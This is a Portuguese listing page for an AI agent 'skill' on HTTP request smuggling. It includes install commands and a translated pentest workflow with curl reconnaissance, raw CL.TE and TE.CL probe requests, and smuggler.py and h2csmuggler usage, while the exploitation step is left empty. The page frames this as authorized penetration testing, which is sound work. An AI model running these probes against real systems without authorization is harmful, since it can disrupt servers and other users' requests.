Pular para o conteúdo
Skillpedia
Diversos35 mil · #5744

exploiting-http-request-smuggling

Ajuda seu agente a detectar e explorar o contrabando de requisições HTTP causado por discrepâncias de análise.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar uma falha de segurança chamada 'HTTP request smuggling'. Ela ocorre quando servidores diferentes em uma rede interpretam as requisições HTTP de maneiras distintas, permitindo que um atacante envie comandos maliciosos disfarçados.

Quando usar

  • ✓Ao testar a segurança de sistemas que usam múltiplos servidores (como um balanceador de carga e um servidor web).
  • ✓Quando você suspeita que um site pode ter falhas de segurança que permitem burlar proteções.
  • ✓Durante testes de segurança autorizados em arquiteturas web complexas.

Exemplo do que pedir para a IA

“Quero testar se o site 'exemplo.com' é vulnerável a HTTP request smuggling.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-http-request-smuggling/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-http-request-smuggling/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta compara como o servidor frontal e o servidor traseiro interpretam os cabeçalhos 'Content-Length' e 'Transfer-Encoding' das requisições. Se houver uma diferença, ela tenta enviar requisições especiais para explorar essa falha.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-http-request-smuggling

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-http-request-smuggling/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando o HTTP Request Smuggling

Quando Usar

  • Durante testes de penetração autorizados quando a aplicação fica atrás de um proxy reverso, balanceador de carga ou CDN
  • Ao testar infraestruturas com múltiplos processadores HTTP na cadeia de requisições (nginx + Apache, HAProxy + Gunicorn)
  • Para avaliar aplicações quanto a vulnerabilidades de dessincronização HTTP
  • Quando outros vetores de ataque são limitados e você precisa contornar controles de segurança front-end
  • Durante avaliações de segurança de arquiteturas web multi-camada

Pré-requisitos

  • Autorização: Contrato de teste de penetração escrito cobrindo explicitamente o request smuggling (teste de alto risco)
  • Burp Suite Professional: Com a extensão HTTP Request Smuggler (Turbo Intruder)
  • smuggler.py: Ferramenta automatizada de detecção de HTTP request smuggling
  • curl: Compilado com suporte a HTTP/1.1 e codificação chunked manual
  • Conhecimento da arquitetura do alvo: Compreensão da cadeia de proxy/servidor (front-end e back-end)
  • Cuidado: O request smuggling pode afetar as requisições de outros usuários; teste com cautela

Fluxo de Trabalho

Passo 1: Identificar a Arquitetura HTTP

Determine a cadeia de proxy/servidor e as características de parsing HTTP.

# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"

# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app

# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1

# Check if Transfer-Encoding is supported
curl -s -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "0\r\n\r\n" \
  "https://target.example.com/" -w "%{http_code}"

# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin

Passo 2: Testar para CL.TE Smuggling

O front-end usa Content-Length, o back-end usa Transfer-Encoding.

# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request

# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

# If response is delayed (~5-10 seconds), CL.TE is likely

Passo 3: Testar para TE.CL Smuggling

O front-end usa Transfer-Encoding, o back-end usa Content-Length.

# Burp Repeater - disable "Update Content-Length"

POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix

# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors

Passo 4: Usar Ferramentas de Detecção Automatizada

Execute scanners automatizados para detectar variantes de smuggling.

# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST

# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results

# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
  "https://target.example.com/admin"

# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected

Passo 5: Explorar Request Smuggling para Impacto

Utilize o smuggling confirmado para ataques práticos.


Perguntas frequentes

O que é 'HTTP request smuggling'?

É uma vulnerabilidade onde um atacante explora a forma como diferentes servidores em uma rede processam requisições HTTP de maneira inconsistente, podendo levar a acesso não autorizado ou outras falhas.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter autorização explícita antes de testar qualquer sistema, pois essa técnica pode ser de alto risco e afetar a disponibilidade do serviço.

Quais ferramentas são necessárias?

Você precisará do Burp Suite Professional com uma extensão específica, além de ferramentas de linha de comando como 'curl' e um script chamado 'smuggler.py'.

Detalhes

Descrição original do autor

Detects and exploits HTTP request smuggling caused by Content-Length/Transfer-Encoding parsing discrepancies between front-end and back-end servers, using Burp Suite Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and smuggler.py. Use during authorized tests of multi-tier architectures behind a reverse proxy, load balancer, or CDN to find desync flaws and bypass front

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5744
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas